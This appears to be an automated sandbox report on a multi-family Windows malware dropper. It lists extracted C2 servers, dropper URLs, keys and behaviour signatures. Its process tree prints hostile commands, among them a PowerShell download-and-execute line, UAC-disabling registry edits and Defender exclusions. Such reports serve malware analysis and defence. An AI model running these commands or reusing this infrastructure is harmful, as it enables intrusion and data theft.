Resubmissions
27/09/2026, 14:21
260927-rn8hns1yhz1015/09/2026, 11:13
260915-nbjf8sgj9y13/09/2026, 12:17
260913-pfz58aba391011/09/2026, 14:17
260911-rltazathnb11/09/2026, 14:10
260911-rgr74sw1hv1007/09/2026, 14:52
260907-r8tv1sxvat06/09/2026, 18:39
260906-xarwnaysdx1006/09/2026, 18:38
260906-xadn2azgqc06/09/2026, 16:17
260906-trmfqaxgkf1006/09/2026, 16:09
260906-tl37aaxfma10Analysis
- max time kernel
899s - max time network
895s - platform
windows10-2004_x64 - resource
win10v2004-20251016-en - resource tags
- submitted
06/12/2025, 00:25
General
- Target 2to1ep.exe
- Size 13.1MB
- Sample251206-aq5fcsbt4e
- SHA256 65ba3988d38f83b9ee1f31cafa5bd37dc6b72279f5618aac94d71a904efa0cac
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
https://pngup.com/VmOv/MSI_PRO_with_b64.png
-
exe.dropper
https://pngup.com/VmOv/MSI_PRO_with_b64.png
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/CIFRADO%20FFF3333%2FRODA%20UPDTATES%2027%20OCTOBER%2FRODA05NOVIEMBRE%2Fskydll.txt?alt=media&token=4bdbc53a-6cc5-4e00-8247-fd9894d6a32f
-
exe.dropper
https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/CIFRADO%20FFF3333%2FRODA%20UPDTATES%2027%20OCTOBER%2FRODA05NOVIEMBRE%2Fskydll.txt?alt=media&token=4bdbc53a-6cc5-4e00-8247-fd9894d6a32f
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/CIFRADO%20FFF3333%2FRODA%20UPDTATES%2027%20OCTOBER%2FRODA05NOVIEMBRE%2Fskydll.txt?alt=media&token=4bdbc53a-6cc5-4e00-8247-fd9894d6a32f
-
exe.dropper
https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/CIFRADO%20FFF3333%2FRODA%20UPDTATES%2027%20OCTOBER%2FRODA05NOVIEMBRE%2Fskydll.txt?alt=media&token=4bdbc53a-6cc5-4e00-8247-fd9894d6a32f
Extracted
Family
-
quasar
Version
-
1.3.0.0
Botnet
-
Office04
C2
-
193.111.78.83:1604
Mutex
-
QSR_MUTEX_xXF1IgpAtUxiWT7xmA
Attributes
-
encryption_key
kIBUIOesytHZzXfMXjzQ
-
install_name
Client.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Quasar Client Startup
-
subdirectory
SubDir
Extracted
Family
-
bdaejec
C2
-
ddos.dnsnb8.net
Extracted
Family
-
maskgram_stealer
C2
-
mossyden2011.sbs
Extracted
Family
-
stealc
Botnet
-
vvc
C2
-
http://196.251.107.23
Attributes
-
url_path
/7ffc7a279c17c091.php
rc4.plain
Extracted
Family
-
xworm
Version
-
5.0
C2
-
151.243.218.164:7007
-
:2017
-
B1OqOBScfnQ4Gk4c60H4Zw==:10
Mutex
-
U9QUEjE9dAiY1T1D
Attributes
-
Install_directory
%AppData%
-
install_file
OneDrive.Sync.Service.exe
aes.plain
Extracted
Family
-
svcstealer
C2
-
http://158.94.208.102/diamo/data.php
-
http://196.251.107.61/diamo/data.php
-
http://196.251.107.23/diamo/data.php
-
http://178.16.53.7/diamo/data.php
Attributes
-
bot_urls
http://196.251.107.23/bot64.dll
-
build_id
27/11/2025
-
srv_delay
1
-
srv_retry
1
Extracted
Family
-
runningrat
Extracted
Family
-
metasploit
Version
-
windows/reverse_tcp
C2
-
193.42.62.196:7171
Signatures
- Bdaejec
Bdaejec is a backdoor written in C++.
- Bdaejec family
- Detect Xworm Payload 1 IoCs
- Detects Bdaejec Backdoor. 2 IoCs
Bdaejec is backdoor written in C++.
- Detects MaskGramStealer payload 2 IoCs
- Detects Vidar Stealer 4 IoCs
- MaskGramStealer
MaskGramStealer is an information stealer.
- Maskgram_stealer family
- MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
- Metasploit family
- Process spawned unexpected child process 6 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar family
- Quasar payload 1 IoCs
- RunningRat
RunningRat is a remote access trojan first seen in 2018.
- RunningRat payload 1 IoCs
- Runningrat family
- Stealc
Stealc is an infostealer written in C++.
- Stealc family
- SvcStealer, Diamotrix
SvcStealer aka Diamotrix Clipper is a stealer/downloader written in C++.
- Svcstealer family
- UAC bypass 3 TTPs 3 IoCs
- Vidar
Vidar is an infostealer based on Arkei stealer.
- Vidar family
- Xworm
Xworm is a remote access trojan written in C#.
- Xworm family
- Enumerates VirtualBox registry keys 2 TTPs 8 IoCs
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
- Looks for VirtualBox Guest Additions in registry 2 TTPs 4 IoCs
- Badlisted process makes network request 11 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs
Using powershell.exe command.
- Downloads MZ/PE file 24 IoCs
- Looks for VMWare Tools registry key 2 TTPs 4 IoCs
- Looks for VMWare services registry key. 1 TTPs 8 IoCs
- Manipulates Digital Signatures 1 TTPs 2 IoCs
Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.
- Modifies Windows Firewall 2 TTPs 2 IoCs
- Server Software Component: Terminal Services DLL 1 TTPs 3 IoCs
- Sets service image path in registry 2 TTPs 3 IoCs
- ACProtect 1.3x - 1.4x DLL software 1 IoCs
Detects file using ACProtect software.
- Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 46 IoCs
Looks up country code configured in the registry, likely geofence.
- ConnectWise ScreenConnect remote access tool
ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.
- Deletes itself 1 IoCs
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 64 IoCs
- Loads dropped DLL 64 IoCs
- Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Themida packer 3 IoCs
Detects Themida, an advanced Windows software protection system.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 20 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Checks whether UAC is enabled 1 TTPs 2 IoCs
- Drops desktop.ini file(s) 3 IoCs
- Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
- Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs
Suspicious Windows Authentication Registry Modification.
- Drops autorun.inf file 1 TTPs 3 IoCs
Malware can abuse Windows Autorun to spread further via attached volumes.
- Drops file in System32 directory 28 IoCs
- Suspicious use of SetThreadContext 4 IoCs
- UPX packed file 13 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 15 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 6 IoCs
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 21 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Modifies trusted root certificate store through registry 1 TTPs 1 IoCs
A root certificate was added, modified, or removed in the trusted certificate store registry paths.
- Program crash 5 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Inno Setup is an open-source installation builder for Windows applications. 1 IoCs
Inno Setup installer
- Checks SCSI registry key(s) 3 TTPs 20 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 41 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 1 IoCs
- Enumerates system info in registry 2 TTPs 24 IoCs
- Kills process with taskkill 4 IoCs
- Modifies Control Panel 3 IoCs
- Modifies data under HKEY_USERS 64 IoCs
- Modifies registry class 63 IoCs
- Modifies system certificate store 2 TTPs 12 IoCs
- Opens file in notepad (likely ransom note) 1 IoCs
- Runs .reg file with regedit 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 2 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of SetWindowsHookEx 15 IoCs
- Suspicious use of UnmapMainImage 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of UnmapMainImage
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"3⤵
- Downloads MZ/PE file
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C start c:\Windows\System32\Taskmgr.exe4⤵
- Suspicious use of WriteProcessMemory
-
\??\c:\Windows\System32\Taskmgr.exec:\Windows\System32\Taskmgr.exe5⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\svchost.exesvchost.exe4⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"5⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /sc minute /tn "Windows Defender Security" /tr "C:\Users\Admin\AppData\Local\Temp\a\svchost.exe"5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\xx.exexx.exe4⤵
- Checks computer location settings
- Executes dropped EXE
- Enumerates connected drives
- Drops autorun.inf file
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Users\Admin\AppData\Local\Temp\1_240613421.exe"C:\Users\Admin\AppData\Local\Temp\1_240613421.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\2_240673468.exe"C:\Users\Admin\AppData\Local\Temp\2_240673468.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\3_240684218.exe"C:\Users\Admin\AppData\Local\Temp\3_240684218.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\4_240691343.exe"C:\Users\Admin\AppData\Local\Temp\4_240691343.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\syshost.exe"C:\Users\Admin\AppData\Roaming\syshost.exe"6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\yyy.exeyyy.exe4⤵
- Checks computer location settings
- Executes dropped EXE
- Enumerates connected drives
- Drops autorun.inf file
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Users\Admin\AppData\Local\Temp\1_240613421.exe"C:\Users\Admin\AppData\Local\Temp\1_240613421.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\actu.exeactu.exe4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -WindowStyle Hidden -Command "Start-Process powershell -ArgumentList '-WindowStyle Hidden -Command Add-MpPreference -ExclusionPath C:\' -Verb RunAs"5⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in Windows directory
-
C:\Windows\SysWOW64\wermgr.exe"C:\Windows\system32\wermgr.exe" "-outproc" "0" "6684" "2036" "1976" "2040" "0" "0" "2044" "0" "0" "0" "0" "0"6⤵
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -WindowStyle Hidden -Command "& {Add-MpPreference -ExclusionPath 'C:\'}"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -WindowStyle Hidden -Command "Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'ConsentPromptBehaviorAdmin' -Value 0"5⤵
- UAC bypass
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -WindowStyle Hidden -Command "Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableLUA' -Value 0"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\actu.exeactu.exe4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -WindowStyle Hidden -Command "Start-Process powershell -ArgumentList '-WindowStyle Hidden -Command Add-MpPreference -ExclusionPath C:\' -Verb RunAs"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -WindowStyle Hidden -Command "& {Add-MpPreference -ExclusionPath 'C:\'}"5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
C:\Windows\SysWOW64\wermgr.exe"C:\Windows\system32\wermgr.exe" "-outproc" "0" "5764" "2184" "2148" "2188" "0" "0" "2192" "0" "0" "0" "0" "0"6⤵
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -WindowStyle Hidden -Command "Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'ConsentPromptBehaviorAdmin' -Value 0"5⤵
- UAC bypass
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -WindowStyle Hidden -Command "Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableLUA' -Value 0"5⤵
- UAC bypass
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\5.exe5.exe4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /sc minute /tn "Windows Defender Security" /tr "C:\Users\Admin\AppData\Local\Temp\a\5.exe"5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\win.exewin.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\a\x.exex.exe4⤵
- Checks computer location settings
- Executes dropped EXE
- Enumerates connected drives
- Drops autorun.inf file
- Modifies registry class
-
C:\Users\Admin\AppData\Local\Temp\1_240613890.exe"C:\Users\Admin\AppData\Local\Temp\1_240613890.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\2_240673468.exe"C:\Users\Admin\AppData\Local\Temp\2_240673468.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\3_240685468.exe"C:\Users\Admin\AppData\Local\Temp\3_240685468.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\4_240691656.exe"C:\Users\Admin\AppData\Local\Temp\4_240691656.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\5_240698500.exe"C:\Users\Admin\AppData\Local\Temp\5_240698500.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\6_240704156.exe"C:\Users\Admin\AppData\Local\Temp\6_240704156.exe"5⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\is-S9GKHEWCZL.tmp\6_240704156.tmp"C:\Users\Admin\AppData\Local\Temp\is-S9GKHEWCZL.tmp\6_240704156.tmp" /SL5="$50056,3902226,836608,C:\Users\Admin\AppData\Local\Temp\6_240704156.exe"6⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\6_240704156.exe"C:\Users\Admin\AppData\Local\Temp\6_240704156.exe" /VERYSILENT /PASSWORD=6fff13a7-7f85-452a-9e6b-49b7a76494d27⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\is-1S8A0SOW1R.tmp\6_240704156.tmp"C:\Users\Admin\AppData\Local\Temp\is-1S8A0SOW1R.tmp\6_240704156.tmp" /SL5="$20750,3902226,836608,C:\Users\Admin\AppData\Local\Temp\6_240704156.exe" /VERYSILENT /PASSWORD=6fff13a7-7f85-452a-9e6b-49b7a76494d28⤵
- System Location Discovery: System Language Discovery
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7_240709671.exe"C:\Users\Admin\AppData\Local\Temp\7_240709671.exe"5⤵
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe 31agosto.vbs4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\f3d5a80d27c049f2ba17d69b09c13bd5_build.exef3d5a80d27c049f2ba17d69b09c13bd5_build.exe4⤵
- Executes dropped EXE
- Checks processor information in registry
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"5⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"5⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"5⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"5⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "iwr http://62.60.226.220/glowing-waffle/download |iex"5⤵
- Badlisted process makes network request
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Crypted.exeCrypted.exe4⤵
- Executes dropped EXE
- Drops file in Windows directory
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe 31agosto.vbs4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\o7Hjuu7.exeo7Hjuu7.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\cBNUbKE.execBNUbKE.exe4⤵
- Executes dropped EXE
- Checks processor information in registry
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default"5⤵
- Checks computer location settings
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf0,0xf4,0xf8,0xcc,0xfc,0x7ffdc0f0dcf8,0x7ffdc0f0dd04,0x7ffdc0f0dd106⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1892,i,11847451199717656765,18056888777979181127,262144 --variations-seed-version=20251016-090045.586000 --mojo-platform-channel-handle=1888 /prefetch:26⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=2224,i,11847451199717656765,18056888777979181127,262144 --variations-seed-version=20251016-090045.586000 --mojo-platform-channel-handle=2236 /prefetch:36⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2348,i,11847451199717656765,18056888777979181127,262144 --variations-seed-version=20251016-090045.586000 --mojo-platform-channel-handle=2416 /prefetch:86⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3160,i,11847451199717656765,18056888777979181127,262144 --variations-seed-version=20251016-090045.586000 --mojo-platform-channel-handle=3180 /prefetch:16⤵
- Checks computer location settings
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3188,i,11847451199717656765,18056888777979181127,262144 --variations-seed-version=20251016-090045.586000 --mojo-platform-channel-handle=3324 /prefetch:16⤵
- Checks computer location settings
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3836,i,11847451199717656765,18056888777979181127,262144 --variations-seed-version=20251016-090045.586000 --mojo-platform-channel-handle=4308 /prefetch:26⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory="Default"5⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x2c0,0x2c4,0x2c8,0x2bc,0x2e8,0x7ffdc975f208,0x7ffdc975f214,0x7ffdc975f2206⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --subproc-heap-profiling --always-read-main-dll --field-trial-handle=1852,i,5135592985032755206,15028301411472160241,262144 --variations-seed-version --mojo-platform-channel-handle=2152 /prefetch:36⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --subproc-heap-profiling --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2052,i,5135592985032755206,15028301411472160241,262144 --variations-seed-version --mojo-platform-channel-handle=2044 /prefetch:26⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --subproc-heap-profiling --always-read-main-dll --field-trial-handle=2304,i,5135592985032755206,15028301411472160241,262144 --variations-seed-version --mojo-platform-channel-handle=2496 /prefetch:86⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --subproc-heap-profiling --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3476,i,5135592985032755206,15028301411472160241,262144 --variations-seed-version --mojo-platform-channel-handle=3504 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --pdf-upsell-enabled --subproc-heap-profiling --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3496,i,5135592985032755206,15028301411472160241,262144 --variations-seed-version --mojo-platform-channel-handle=3520 /prefetch:16⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\4.exe4.exe4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\syshost.exe"C:\Users\Admin\AppData\Roaming\syshost.exe"5⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\999880fb2f23445aa462ca830a504d0c_crypted_build.exe999880fb2f23445aa462ca830a504d0c_crypted_build.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\kn.exekn.exe4⤵
- Server Software Component: Terminal Services DLL
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\a\7x.exe7x.exe4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
